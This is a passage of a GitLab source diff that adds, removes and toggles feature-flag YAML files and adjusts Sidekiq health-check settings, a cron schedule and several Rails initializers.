index c34fb14a9f0..06fbfab255c 100644
--- a/config/feature_flags/development/new_route_ci_minutes_purchase.yml
+++ b/config/feature_flags/development/new_route_ci_minutes_purchase.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/322582
milestone: '13.10'
type: development
group: group::purchase
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/operational_vulnerabilities.yml b/config/feature_flags/development/operational_vulnerabilities.yml
index f1e19a626fb..ac92892592b 100644
--- a/config/feature_flags/development/operational_vulnerabilities.yml
+++ b/config/feature_flags/development/operational_vulnerabilities.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/341423
milestone: '14.4'
type: development
group: group::container security
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/optimized_issue_neighbor_queries.yml b/config/feature_flags/development/optimized_issue_neighbor_queries.yml
new file mode 100644
index 00000000000..db333dace72
--- /dev/null
+++ b/config/feature_flags/development/optimized_issue_neighbor_queries.yml
@@ -0,0 +1,8 @@
+---
+name: optimized_issue_neighbor_queries
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/76073
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345921
+milestone: '14.6'
+type: development
+group: group::project management
+default_enabled: false
diff --git a/config/feature_flags/development/packages_npm_abbreviated_metadata.yml b/config/feature_flags/development/packages_npm_abbreviated_metadata.yml
deleted file mode 100644
index ad191adfa20..00000000000
--- a/config/feature_flags/development/packages_npm_abbreviated_metadata.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: packages_npm_abbreviated_metadata
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73639
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/344827
-milestone: '14.5'
-type: development
-group: group::package
-default_enabled: true
diff --git a/config/feature_flags/development/paginatable_namespace_drop_down_for_project_creation.yml b/config/feature_flags/development/paginatable_namespace_drop_down_for_project_creation.yml
index 297a4f65aa4..f0f60d4d0b7 100644
--- a/config/feature_flags/development/paginatable_namespace_drop_down_for_project_creation.yml
+++ b/config/feature_flags/development/paginatable_namespace_drop_down_for_project_creation.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338930
milestone: '14.3'
type: development
group: group::project management
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/partition_pruning.yml b/config/feature_flags/development/partition_pruning.yml
deleted file mode 100644
index 02f5dc968a4..00000000000
--- a/config/feature_flags/development/partition_pruning.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: partition_pruning
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67056
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/337153
-milestone: '14.2'
-type: development
-group: group::database
-default_enabled: false
diff --git a/config/feature_flags/development/preserve_latest_wal_locations_for_idempotent_jobs.yml b/config/feature_flags/development/preserve_latest_wal_locations_for_idempotent_jobs.yml
index 52ef276e950..24e4823997d 100644
--- a/config/feature_flags/development/preserve_latest_wal_locations_for_idempotent_jobs.yml
+++ b/config/feature_flags/development/preserve_latest_wal_locations_for_idempotent_jobs.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338350
milestone: '14.3'
type: development
group: group::memory
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/prevent_abusive_searches.yml b/config/feature_flags/development/prevent_abusive_searches.yml
new file mode 100644
index 00000000000..1c08e0d16cb
--- /dev/null
+++ b/config/feature_flags/development/prevent_abusive_searches.yml
@@ -0,0 +1,8 @@
+---
+name: prevent_abusive_searches
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74953
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346263
+milestone: '14.6'
+type: development
+group: group::global search
+default_enabled: false
diff --git a/config/feature_flags/development/refactor_text_viewer.yml b/config/feature_flags/development/refactor_text_viewer.yml
deleted file mode 100644
index 427137773c6..00000000000
--- a/config/feature_flags/development/refactor_text_viewer.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: refactor_text_viewer
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70909
-rollout_issue_url:
-milestone: '14.4'
-type: development
-group: 'group::source code'
-default_enabled: false
diff --git a/config/feature_flags/development/reference_cache_memoization.yml b/config/feature_flags/development/reference_cache_memoization.yml
deleted file mode 100644
index 74012208174..00000000000
--- a/config/feature_flags/development/reference_cache_memoization.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: reference_cache_memoization
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71310
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/341849
-milestone: '14.4'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/s3_multithreaded_uploads.yml b/config/feature_flags/development/s3_multithreaded_uploads.yml
index 92ba4da7e67..f80510a4c64 100644
--- a/config/feature_flags/development/s3_multithreaded_uploads.yml
+++ b/config/feature_flags/development/s3_multithreaded_uploads.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50922
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/296772
milestone: '13.8'
type: development
-group: group::pipeline execution
+group: group::testing
default_enabled: true
diff --git a/config/feature_flags/development/sbom_survey.yml b/config/feature_flags/development/sbom_survey.yml
new file mode 100644
index 00000000000..aac523ee846
--- /dev/null
+++ b/config/feature_flags/development/sbom_survey.yml
@@ -0,0 +1,8 @@
+---
+name: sbom_survey
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/76446
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/348181
+milestone: '14.6'
+type: development
+group: group::secure
+default_enabled: false
diff --git a/config/feature_flags/development/scim_token_vue.yml b/config/feature_flags/development/scim_token_vue.yml
new file mode 100644
index 00000000000..8cc82bafd66
--- /dev/null
+++ b/config/feature_flags/development/scim_token_vue.yml
@@ -0,0 +1,8 @@
+---
+name: scim_token_vue
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74743
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/347270
+milestone: '14.6'
+type: development
+group: group::access
+default_enabled: true
diff --git a/config/feature_flags/development/secure_vulnerability_training.yml b/config/feature_flags/development/secure_vulnerability_training.yml
new file mode 100644
index 00000000000..58117482e25
--- /dev/null
+++ b/config/feature_flags/development/secure_vulnerability_training.yml
@@ -0,0 +1,8 @@
+---
+name: secure_vulnerability_training
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346074
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346308
+milestone: '14.6'
+type: development
+group: group::threat insights
+default_enabled: false
diff --git a/config/feature_flags/development/shimo_integration.yml b/config/feature_flags/development/shimo_integration.yml
new file mode 100644
index 00000000000..28c0a7859bc
--- /dev/null
+++ b/config/feature_flags/development/shimo_integration.yml
@@ -0,0 +1,8 @@
+---
+name: shimo_integration
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73129
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345356
+milestone: '14.5'
+type: development
+group: group::integrations
+default_enabled: false
diff --git a/config/feature_flags/development/skip_scheduling_workers_for_replicas.yml b/config/feature_flags/development/skip_scheduling_workers_for_replicas.yml
new file mode 100644
index 00000000000..494bec1e665
--- /dev/null
+++ b/config/feature_flags/development/skip_scheduling_workers_for_replicas.yml
@@ -0,0 +1,8 @@
+---
+name: skip_scheduling_workers_for_replicas
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74532
+rollout_issue_url: https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1380
+milestone: '14.5'
+type: development
+group: group::project management
+default_enabled: false
diff --git a/config/feature_flags/development/surface_environment_creation_failure.yml b/config/feature_flags/development/surface_environment_creation_failure.yml
deleted file mode 100644
index acb8600b0bb..00000000000
--- a/config/feature_flags/development/surface_environment_creation_failure.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: surface_environment_creation_failure
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69537
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/340169
-milestone: '14.4'
-type: development
-group: group::release
-default_enabled: true
diff --git a/config/feature_flags/development/surface_environment_creation_failure_override.yml b/config/feature_flags/development/surface_environment_creation_failure_override.yml
deleted file mode 100644
index 566281bcb89..00000000000
--- a/config/feature_flags/development/surface_environment_creation_failure_override.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: surface_environment_creation_failure_override
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69537
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/340169
-milestone: '14.4'
-type: development
-group: group::release
-default_enabled: false
diff --git a/config/feature_flags/development/terms_of_service_vue.yml b/config/feature_flags/development/terms_of_service_vue.yml
deleted file mode 100644
index 01bf3613127..00000000000
--- a/config/feature_flags/development/terms_of_service_vue.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: terms_of_service_vue
-introduced_by_url:
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/343046
-milestone: '14.5'
-type: development
-group: group::access
-default_enabled: true
diff --git a/config/feature_flags/development/track_importer_activity.yml b/config/feature_flags/development/track_importer_activity.yml
deleted file mode 100644
index 9f20a14790e..00000000000
--- a/config/feature_flags/development/track_importer_activity.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: track_importer_activity
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70012
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339392
-milestone: '14.4'
-type: development
-group: group::import
-default_enabled: false
diff --git a/config/feature_flags/development/usage_data_instrumentation.yml b/config/feature_flags/development/usage_data_instrumentation.yml
deleted file mode 100644
index e2610cbd39c..00000000000
--- a/config/feature_flags/development/usage_data_instrumentation.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_instrumentation
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68808
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345252
-milestone: '14.5'
-type: development
-group: group::product intelligence
-default_enabled: false
diff --git a/config/feature_flags/development/use_cmark_renderer.yml b/config/feature_flags/development/use_cmark_renderer.yml
index b47031a6924..5e4ea534590 100644
--- a/config/feature_flags/development/use_cmark_renderer.yml
+++ b/config/feature_flags/development/use_cmark_renderer.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345744
milestone: '14.6'
type: development
group: group::project management
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/use_multi_store.yml b/config/feature_flags/development/use_multi_store.yml
deleted file mode 100644
index 48db4a092b5..00000000000
--- a/config/feature_flags/development/use_multi_store.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: use_multi_store
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73660
-rollout_issue_url:
-milestone: '14.5'
-type: development
-group: group::memory
-default_enabled: false
diff --git a/config/feature_flags/development/use_optimized_group_labels_query.yml b/config/feature_flags/development/use_optimized_group_labels_query.yml
index 37e2525d03e..82cecb5f337 100644
--- a/config/feature_flags/development/use_optimized_group_labels_query.yml
+++ b/config/feature_flags/development/use_optimized_group_labels_query.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/344957
milestone: '14.5'
type: development
group: group::workspace
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/use_primary_and_secondary_stores_for_sessions.yml b/config/feature_flags/development/use_primary_and_secondary_stores_for_sessions.yml
new file mode 100644
index 00000000000..2204472c0a6
--- /dev/null
+++ b/config/feature_flags/development/use_primary_and_secondary_stores_for_sessions.yml
@@ -0,0 +1,8 @@
+---
+name: use_primary_and_secondary_stores_for_sessions
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73660
+rollout_issue_url: https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1429
+milestone: '14.6'
+type: development
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/development/use_primary_store_as_default_for_sessions.yml b/config/feature_flags/development/use_primary_store_as_default_for_sessions.yml
new file mode 100644
index 00000000000..ac130ab7761
--- /dev/null
+++ b/config/feature_flags/development/use_primary_store_as_default_for_sessions.yml
@@ -0,0 +1,8 @@
+---
+name: use_primary_store_as_default_for_sessions
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75258
+rollout_issue_url:
+milestone: '14.6'
+type: development
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/development/use_traversal_ids_for_ancestors_upto.yml b/config/feature_flags/development/use_traversal_ids_for_ancestors_upto.yml
new file mode 100644
index 00000000000..4fe7ca695c3
--- /dev/null
+++ b/config/feature_flags/development/use_traversal_ids_for_ancestors_upto.yml
@@ -0,0 +1,8 @@
+---
+name: use_traversal_ids_for_ancestors_upto
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72662
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/343619
+milestone: '14.6'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/use_traversal_ids_groups_finder.yml b/config/feature_flags/development/use_traversal_ids_groups_finder.yml
new file mode 100644
index 00000000000..b0550fe62d9
--- /dev/null
+++ b/config/feature_flags/development/use_traversal_ids_groups_finder.yml
@@ -0,0 +1,8 @@
+---
+name: use_traversal_ids_groups_finder
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67650
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345666
+milestone: '14.6'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/use_upsert_query_for_mr_metrics.yml b/config/feature_flags/development/use_upsert_query_for_mr_metrics.yml
deleted file mode 100644
index 605bc54b78a..00000000000
--- a/config/feature_flags/development/use_upsert_query_for_mr_metrics.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: use_upsert_query_for_mr_metrics
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69240
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339677
-milestone: '14.3'
-type: development
-group: group::optimize
-default_enabled: true
diff --git a/config/feature_flags/development/validate_namespace_parent_type.yml b/config/feature_flags/development/validate_namespace_parent_type.yml
deleted file mode 100644
index 5c2e0add243..00000000000
--- a/config/feature_flags/development/validate_namespace_parent_type.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: validate_namespace_parent_type
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54094
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/322101
-milestone: '13.10'
-type: development
-group: group::access
-default_enabled: true
diff --git a/config/feature_flags/development/verify_participants_access.yml b/config/feature_flags/development/verify_participants_access.yml
new file mode 100644
index 00000000000..8857003fd47
--- /dev/null
+++ b/config/feature_flags/development/verify_participants_access.yml
@@ -0,0 +1,8 @@
+---
+name: verify_participants_access
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74906
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/347407
+milestone: '14.6'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/vuln_report_new_project_filter.yml b/config/feature_flags/development/vuln_report_new_project_filter.yml
deleted file mode 100644
index 3eb02054205..00000000000
--- a/config/feature_flags/development/vuln_report_new_project_filter.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: vuln_report_new_project_filter
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55745
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334380
-milestone: '14.3'
-type: development
-group: group::threat insights
-default_enabled: true
diff --git a/config/feature_flags/development/vulnerability_location_image_filter.yml b/config/feature_flags/development/vulnerability_location_image_filter.yml
index 4b373b76ff6..1bbc8e43d57 100644
--- a/config/feature_flags/development/vulnerability_location_image_filter.yml
+++ b/config/feature_flags/development/vulnerability_location_image_filter.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/340915
milestone: '14.4'
type: development
group: group::container security
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/webauthn.yml b/config/feature_flags/development/webauthn.yml
index 0dc9e2b7bfd..135d4af2465 100644
--- a/config/feature_flags/development/webauthn.yml
+++ b/config/feature_flags/development/webauthn.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/232671
milestone: '13.4'
type: development
group: group::access
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/wiki_switch_between_content_editor_raw_markdown.yml b/config/feature_flags/development/wiki_switch_between_content_editor_raw_markdown.yml
new file mode 100644
index 00000000000..f499263acec
--- /dev/null
+++ b/config/feature_flags/development/wiki_switch_between_content_editor_raw_markdown.yml
@@ -0,0 +1,8 @@
+---
+name: wiki_switch_between_content_editor_raw_markdown
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74457
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345398
+milestone: '14.6'
+type: development
+group: group::editor
+default_enabled: false
diff --git a/config/feature_flags/experiment/force_company_trial.yml b/config/feature_flags/experiment/force_company_trial.yml
deleted file mode 100644
index 85fc789085d..00000000000
--- a/config/feature_flags/experiment/force_company_trial.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: force_company_trial
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65287
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335050
-milestone: '14.1'
-type: experiment
-group: group::adoption
-default_enabled: false
diff --git a/config/feature_flags/experiment/invite_email_from.yml b/config/feature_flags/experiment/invite_email_from.yml
deleted file mode 100644
index 59baf249341..00000000000
--- a/config/feature_flags/experiment/invite_email_from.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: invite_email_from
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68376
-rollout_issue_url: https://gitlab.com/gitlab-org/growth/team-tasks/-/issues/429
-milestone: '14.3'
-type: experiment
-group: group::expansion
-default_enabled: false
diff --git a/config/feature_flags/experiment/invite_email_preview_text.yml b/config/feature_flags/experiment/invite_email_preview_text.yml
deleted file mode 100644
index fcb4cda0b14..00000000000
--- a/config/feature_flags/experiment/invite_email_preview_text.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: invite_email_preview_text
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67236
-rollout_issue_url: https://gitlab.com/gitlab-org/growth/team-tasks/-/issues/421
-milestone: '14.2'
-type: experiment
-group: group::expansion
-default_enabled: false
diff --git a/config/feature_flags/experiment/invite_for_help_continuous_onboarding.yml b/config/feature_flags/experiment/invite_for_help_continuous_onboarding.yml
new file mode 100644
index 00000000000..398f3bddf8a
--- /dev/null
+++ b/config/feature_flags/experiment/invite_for_help_continuous_onboarding.yml
@@ -0,0 +1,8 @@
+---
+name: invite_for_help_continuous_onboarding
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73846
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345708
+milestone: '14.5'
+type: experiment
+group: group::activation
+default_enabled: false
diff --git a/config/feature_flags/experiment/invite_members_for_task.yml b/config/feature_flags/experiment/invite_members_for_task.yml
deleted file mode 100644
index 30743811f26..00000000000
--- a/config/feature_flags/experiment/invite_members_for_task.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: invite_members_for_task
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69299
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339747
-milestone: '14.5'
-type: experiment
-group: group::activation
-default_enabled: false
diff --git a/config/feature_flags/experiment/invite_members_in_comment.yml b/config/feature_flags/experiment/invite_members_in_comment.yml
deleted file mode 100644
index 521574ad71b..00000000000
--- a/config/feature_flags/experiment/invite_members_in_comment.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: invite_members_in_comment
-introduced_by_url: 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51400'
-rollout_issue_url: 'https://gitlab.com/gitlab-org/growth/team-tasks/-/issues/300'
-milestone: '13.10'
-type: experiment
-group: group::expansion
-default_enabled: false
diff --git a/config/feature_flags/experiment/invite_members_new_dropdown_experiment_percentage.yml b/config/feature_flags/experiment/invite_members_new_dropdown_experiment_percentage.yml
deleted file mode 100644
index 216726178f1..00000000000
--- a/config/feature_flags/experiment/invite_members_new_dropdown_experiment_percentage.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: invite_members_new_dropdown_experiment_percentage
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50069
-rollout_issue_url: https://gitlab.com/gitlab-org/growth/team-tasks/-/issues/291
-milestone: '13.8'
-type: experiment
-group: group::expansion
-default_enabled: false
diff --git a/config/feature_flags/experiment/member_areas_of_focus.yml b/config/feature_flags/experiment/member_areas_of_focus.yml
deleted file mode 100644
index e728ee7e3d3..00000000000
--- a/config/feature_flags/experiment/member_areas_of_focus.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: member_areas_of_focus
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65273
-rollout_issue_url: https://gitlab.com/gitlab-org/growth/team-tasks/-/issues/406
-milestone: '14.2'
-type: experiment
-group: group::expansion
-default_enabled: false
diff --git a/config/feature_flags/ops/ci_pipeline_creation_logger.yml b/config/feature_flags/ops/ci_pipeline_creation_logger.yml
new file mode 100644
index 00000000000..8f886be2fd5
--- /dev/null
+++ b/config/feature_flags/ops/ci_pipeline_creation_logger.yml
@@ -0,0 +1,8 @@
+---
+name: ci_pipeline_creation_logger
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72996
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345779
+milestone: '14.5'
+type: ops
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/ops/database_async_index_creation.yml b/config/feature_flags/ops/database_async_index_creation.yml
new file mode 100644
index 00000000000..60d491b6073
--- /dev/null
+++ b/config/feature_flags/ops/database_async_index_creation.yml
@@ -0,0 +1,8 @@
+---
+name: database_async_index_creation
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66478
+rollout_issue_url:
+milestone: '14.2'
+type: ops
+group: group::database
+default_enabled: false
diff --git a/config/feature_flags/ops/feature_flag_state_logs.yml b/config/feature_flags/ops/feature_flag_state_logs.yml
new file mode 100644
index 00000000000..7153aca3860
--- /dev/null
+++ b/config/feature_flags/ops/feature_flag_state_logs.yml
@@ -0,0 +1,8 @@
+---
+name: feature_flag_state_logs
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73729
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345888
+milestone: '14.6'
+type: ops
+group: group::incubation
+default_enabled: false
diff --git a/config/feature_flags/ops/gtm_nonce.yml b/config/feature_flags/ops/gtm_nonce.yml
new file mode 100644
index 00000000000..b4007732aa2
--- /dev/null
+++ b/config/feature_flags/ops/gtm_nonce.yml
@@ -0,0 +1,8 @@
+---
+name: gtm_nonce
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58494
+rollout_issue_url:
+milestone: '14.6'
+type: ops
+group: group::product intelligence
+default_enabled: false
diff --git a/config/feature_flags/ops/lower_relation_max_count_limit.yml b/config/feature_flags/ops/lower_relation_max_count_limit.yml
deleted file mode 100644
index 7a532c0948a..00000000000
--- a/config/feature_flags/ops/lower_relation_max_count_limit.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: lower_relation_max_count_limit
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69620
-rollout_issue_url:
-milestone: '14.3'
-type: ops
-group: group::verify
-default_enabled: false
diff --git a/config/gitlab.yml.example b/config/gitlab.yml.example
index 4e5e15d261b..05eab1a9b43 100644
--- a/config/gitlab.yml.example
+++ b/config/gitlab.yml.example
@@ -1260,6 +1260,12 @@ production: &base
# address: localhost
# port: 8082
+ sidekiq_health_checks:
+ # enabled: true
+ # log_enabled: false
+ # address: localhost
+ # port: 8082
+
# Web exporter is a dedicated Rack server running alongside Puma to expose Prometheus metrics
# It runs alongside the `/metrics` endpoints to ease the publish of metrics
web_exporter:
diff --git a/config/initializers/1_settings.rb b/config/initializers/1_settings.rb
index 8fb2161b14e..6444215421d 100644
--- a/config/initializers/1_settings.rb
+++ b/config/initializers/1_settings.rb
@@ -690,7 +690,7 @@ Gitlab.ee do
Settings.cron_jobs['elastic_migration_worker']['cron'] ||= '*/30 * * * *'
Settings.cron_jobs['elastic_migration_worker']['job_class'] ||= 'Elastic::MigrationWorker'
Settings.cron_jobs['sync_seat_link_worker'] ||= Settingslogic.new({})
- Settings.cron_jobs['sync_seat_link_worker']['cron'] ||= "#{rand(60)} 3 * * * UTC"
+ Settings.cron_jobs['sync_seat_link_worker']['cron'] ||= "#{rand(60)} #{rand(3..4)} * * * UTC"
Settings.cron_jobs['sync_seat_link_worker']['job_class'] = 'SyncSeatLinkWorker'
Settings.cron_jobs['users_create_statistics_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['users_create_statistics_worker']['cron'] ||= '2 15 * * *'
@@ -919,11 +919,23 @@ Settings.webpack.dev_server['https'] ||= false
#
Settings['monitoring'] ||= Settingslogic.new({})
Settings.monitoring['ip_whitelist'] ||= ['127.0.0.1/8']
+
Settings.monitoring['sidekiq_exporter'] ||= Settingslogic.new({})
Settings.monitoring.sidekiq_exporter['enabled'] ||= false
Settings.monitoring.sidekiq_exporter['log_enabled'] ||= false
Settings.monitoring.sidekiq_exporter['address'] ||= 'localhost'
Settings.monitoring.sidekiq_exporter['port'] ||= 8082
+
+# TODO: Once we split out health checks from SidekiqExporter, we
+# should not let this default to the same settings anymore; we only
+# do this for back-compat currently.
+# https://gitlab.com/gitlab-org/gitlab/-/issues/345804
+Settings.monitoring['sidekiq_health_checks'] ||= Settingslogic.new({})
+Settings.monitoring.sidekiq_health_checks['enabled'] ||= Settings.monitoring.sidekiq_exporter['enabled']
+Settings.monitoring.sidekiq_health_checks['log_enabled'] ||= Settings.monitoring.sidekiq_exporter['log_enabled']
+Settings.monitoring.sidekiq_health_checks['address'] ||= Settings.monitoring.sidekiq_exporter['address']
+Settings.monitoring.sidekiq_health_checks['port'] ||= Settings.monitoring.sidekiq_exporter['port']
+
Settings.monitoring['web_exporter'] ||= Settingslogic.new({})
Settings.monitoring.web_exporter['enabled'] ||= false
Settings.monitoring.web_exporter['address'] ||= 'localhost'
diff --git a/config/initializers/7_prometheus_metrics.rb b/config/initializers/7_prometheus_metrics.rb
index 28f3da9b3df..8ef11b83131 100644
--- a/config/initializers/7_prometheus_metrics.rb
+++ b/config/initializers/7_prometheus_metrics.rb
@@ -28,11 +28,21 @@ Gitlab::Application.configure do |config|
config.middleware.insert_after(Labkit::Middleware::Rack, Gitlab::Metrics::RequestsRackMiddleware)
end
-Sidekiq.configure_server do |config|
- config.on(:startup) do
- # Do not clean the metrics directory here - the supervisor script should
- # have already taken care of that
- Gitlab::Metrics::Exporter::SidekiqExporter.instance.start
+if Gitlab::Runtime.sidekiq? && (!ENV['SIDEKIQ_WORKER_ID'] || ENV['SIDEKIQ_WORKER_ID'] == '0')
+ # The single worker outside of a sidekiq-cluster, or the first worker (sidekiq_0)
+ # in a cluster of processes, is responsible for serving health checks.
+ #
+ # Do not clean the metrics directory here - the supervisor script should
+ # have already taken care of that.
+ Sidekiq.configure_server do |config|
+ config.on(:startup) do
+ # In https://gitlab.com/gitlab-org/gitlab/-/issues/345804 we are looking to
+ # only serve health-checks from a worker process; for backwards compatibility
+ # we still go through the metrics exporter server, but start to configure it
+ # with the new settings keys.
+ exporter_settings = Settings.monitoring.sidekiq_health_checks
+ Gitlab::Metrics::Exporter::SidekiqExporter.instance(exporter_settings).start
+ end
end
end
diff --git a/config/initializers/active_record_database_tasks.rb b/config/initializers/active_record_database_tasks.rb
new file mode 100644
index 00000000000..f06174262a9
--- /dev/null
+++ b/config/initializers/active_record_database_tasks.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+return unless Gitlab.ee?
+
+ActiveSupport.on_load(:active_record) do
+ ActiveRecord::Tasks::DatabaseTasks.singleton_class.prepend(Gitlab::Patch::GeoDatabaseTasks)
+end
diff --git a/config/initializers/active_record_transaction_observer.rb b/config/initializers/active_record_transaction_observer.rb
index fc9b73d656e..a1d4b13344e 100644
--- a/config/initializers/active_record_transaction_observer.rb
+++ b/config/initializers/active_record_transaction_observer.rb
@@ -1,7 +1,5 @@
# frozen_string_literal: true
-return unless Gitlab.com? || Gitlab.dev_or_test_env?
-
def feature_flags_available?
# When the DBMS is not available, an exception (e.g. PG::ConnectionBad) is raised
active_db_connection = ActiveRecord::Base.connection.active? rescue false
@@ -11,6 +9,8 @@ rescue ActiveRecord::NoDatabaseError
false
end
+return unless Gitlab.com? || Gitlab.dev_or_test_env?
